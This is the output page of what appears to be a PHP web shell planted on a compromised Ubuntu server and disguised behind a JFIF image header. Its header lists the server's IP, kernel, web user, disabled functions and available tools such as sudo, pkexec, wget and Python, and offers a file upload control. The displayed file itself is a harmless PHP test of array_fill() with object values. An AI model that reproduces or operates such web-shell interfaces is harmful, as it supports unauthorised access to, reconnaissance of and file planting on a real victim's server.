????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.135.209.180 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/array/ |
Upload File : |
--TEST-- Test array_fill() function : usage variations - various object values for 'val' argument --SKIPIF-- <?php if (version_compare(zend_version(), '2.4.0', '>=')) die('skip ZendEngine 2.3 or below needed'); ?> --FILE-- <?php /* Prototype : array array_fill(int $start_key, int $num, mixed $val) * Description: Create an array containing num elements starting with index start_key each initialized to val * Source code: ext/standard/array.c */ /* * testing array_fill() by passing various object values for 'val' argument */ echo "*** Testing array_fill() : usage variations ***\n"; // Initialise function arguments not being substituted $start_key = 0; $num = 2; // class without a member class Test { } //class with public member, static member , constant and consturctor to initialize the public member class Test1 { const test1_constant = "test1"; public static $test1_static = 0; public $member1; var $var1 = 30; var $var2; function __construct($value1 , $value2) { $this->member1 = $value1; $this->var2 = $value2; } } // child class which inherits parent class test1 class Child_test1 extends Test1 { public $member2; function __construct($value1 , $value2 , $value3) { parent::__construct($value1 , $value2); $this->member2 = $value3; } } //class with private member, static member, constant and constructor to initialize the private member class Test2 { const test2_constant = "test2"; public static $test2_static = 0; private $member1; var $var1 = 30; var $var2; function __construct($value1 , $value2) { $this->member1 = $value1; $this->var2 = $value2; } } // child class which inherits parent class test2 class Child_test2 extends Test2 { private $member1; function __construct($value1 , $value2 , $value3) { parent::__construct($value1 , $value2); $this->member1 = $value3; } } // class with protected member, static member, constant and consturctor to initialize the protected member class Test3 { const test3_constant = "test3"; public static $test3_static = 0; protected $member1; var $var1 = 30; var $var2; function __construct($value1 , $value2) { $this->member1 = $value1; $this->var2 = $value2; } } // child class which inherits parent class test3 class Child_test3 extends Test3 { protected $member1; function __construct($value1 , $value2 , $value3) { parent::__construct($value1 , $value2); $this->member1 = $value3; } } // class with public, private, protected members, static, constant members and constructor to initialize all the members class Test4 { const test4_constant = "test4"; public static $test4_static = 0; public $member1; private $member2; protected $member3; function __construct($value1 , $value2 , $value3) { $this->member1 = $value1; $this->member2 = $value2; $this->member3 = $value3; } } // child class which inherits parent class test4 class Child_test4 extends Test4 { var $var1; function __construct($value1 , $value2 , $value3 , $value4) { parent::__construct($value1 , $value2 , $value3); $this->var1 = $value4; } } // abstract class with public, private, protected members abstract class AbstractClass { public $member1; private $member2; protected $member3; var $var1 = 30; abstract protected function display(); } // implement abstract 'AbstractClass' class class ConcreteClass1 extends AbstractClass { protected function display() { echo "class name is ConcreteClass1 \n"; } } // declarationn of the interface 'iTemplate' interface iTemplate { public function display(); } // implement the interface 'iTemplate' class Template1 implements iTemplate { public function display() { echo "class name is Template1\n"; } } //array of object values for 'val' argument $objects = array( /* 1 */ new Test(), new Test1(100 , 101), new Child_test1(100 , 101 , 102), new Test2(100 , 101), /* 5 */ new Child_test2(100 , 101 , 102), new Test3(100 , 101), new Child_test3(100 , 101 , 102), new Test4( 100 , 101 , 102), new Child_test4(100 , 101 , 102 , 103), new ConcreteClass1(), /* 11 */ new Template1() ); // loop through each element of the array for 'val' argument // check the working of array_fill() echo "--- Testing array_fill() with different object values for 'val' argument ---\n"; $counter = 1; for($index = 0; $index < count($objects); $index ++) { echo "-- Iteration $counter --\n"; $val = $objects[$index]; var_dump( array_fill($start_key,$num,$val) ); $counter++; } echo "Done"; ?> --EXPECTF-- *** Testing array_fill() : usage variations *** --- Testing array_fill() with different object values for 'val' argument --- -- Iteration 1 -- array(2) { [0]=> object(Test)#%d (0) { } [1]=> object(Test)#%d (0) { } } -- Iteration 2 -- array(2) { [0]=> object(Test1)#%d (3) { ["member1"]=> int(100) ["var1"]=> int(30) ["var2"]=> int(101) } [1]=> object(Test1)#%d (3) { ["member1"]=> int(100) ["var1"]=> int(30) ["var2"]=> int(101) } } -- Iteration 3 -- array(2) { [0]=> object(Child_test1)#%d (4) { ["member2"]=> int(102) ["member1"]=> int(100) ["var1"]=> int(30) ["var2"]=> int(101) } [1]=> object(Child_test1)#%d (4) { ["member2"]=> int(102) ["member1"]=> int(100) ["var1"]=> int(30) ["var2"]=> int(101) } } -- Iteration 4 -- array(2) { [0]=> object(Test2)#%d (3) { ["member1":"Test2":private]=> int(100) ["var1"]=> int(30) ["var2"]=> int(101) } [1]=> object(Test2)#%d (3) { ["member1":"Test2":private]=> int(100) ["var1"]=> int(30) ["var2"]=> int(101) } } -- Iteration 5 -- array(2) { [0]=> object(Child_test2)#%d (4) { ["member1":"Child_test2":private]=> int(102) ["member1":"Test2":private]=> int(100) ["var1"]=> int(30) ["var2"]=> int(101) } [1]=> object(Child_test2)#%d (4) { ["member1":"Child_test2":private]=> int(102) ["member1":"Test2":private]=> int(100) ["var1"]=> int(30) ["var2"]=> int(101) } } -- Iteration 6 -- array(2) { [0]=> object(Test3)#%d (3) { ["member1":protected]=> int(100) ["var1"]=> int(30) ["var2"]=> int(101) } [1]=> object(Test3)#%d (3) { ["member1":protected]=> int(100) ["var1"]=> int(30) ["var2"]=> int(101) } } -- Iteration 7 -- array(2) { [0]=> object(Child_test3)#%d (3) { ["member1":protected]=> int(102) ["var1"]=> int(30) ["var2"]=> int(101) } [1]=> object(Child_test3)#%d (3) { ["member1":protected]=> int(102) ["var1"]=> int(30) ["var2"]=> int(101) } } -- Iteration 8 -- array(2) { [0]=> object(Test4)#%d (3) { ["member1"]=> int(100) ["member2":"Test4":private]=> int(101) ["member3":protected]=> int(102) } [1]=> object(Test4)#%d (3) { ["member1"]=> int(100) ["member2":"Test4":private]=> int(101) ["member3":protected]=> int(102) } } -- Iteration 9 -- array(2) { [0]=> object(Child_test4)#%d (4) { ["var1"]=> int(103) ["member1"]=> int(100) ["member2":"Test4":private]=> int(101) ["member3":protected]=> int(102) } [1]=> object(Child_test4)#%d (4) { ["var1"]=> int(103) ["member1"]=> int(100) ["member2":"Test4":private]=> int(101) ["member3":protected]=> int(102) } } -- Iteration 10 -- array(2) { [0]=> object(ConcreteClass1)#%d (4) { ["member1"]=> NULL ["member2":"AbstractClass":private]=> NULL ["member3":protected]=> NULL ["var1"]=> int(30) } [1]=> object(ConcreteClass1)#%d (4) { ["member1"]=> NULL ["member2":"AbstractClass":private]=> NULL ["member3":protected]=> NULL ["var1"]=> int(30) } } -- Iteration 11 -- array(2) { [0]=> object(Template1)#%d (0) { } [1]=> object(Template1)#%d (0) { } } Done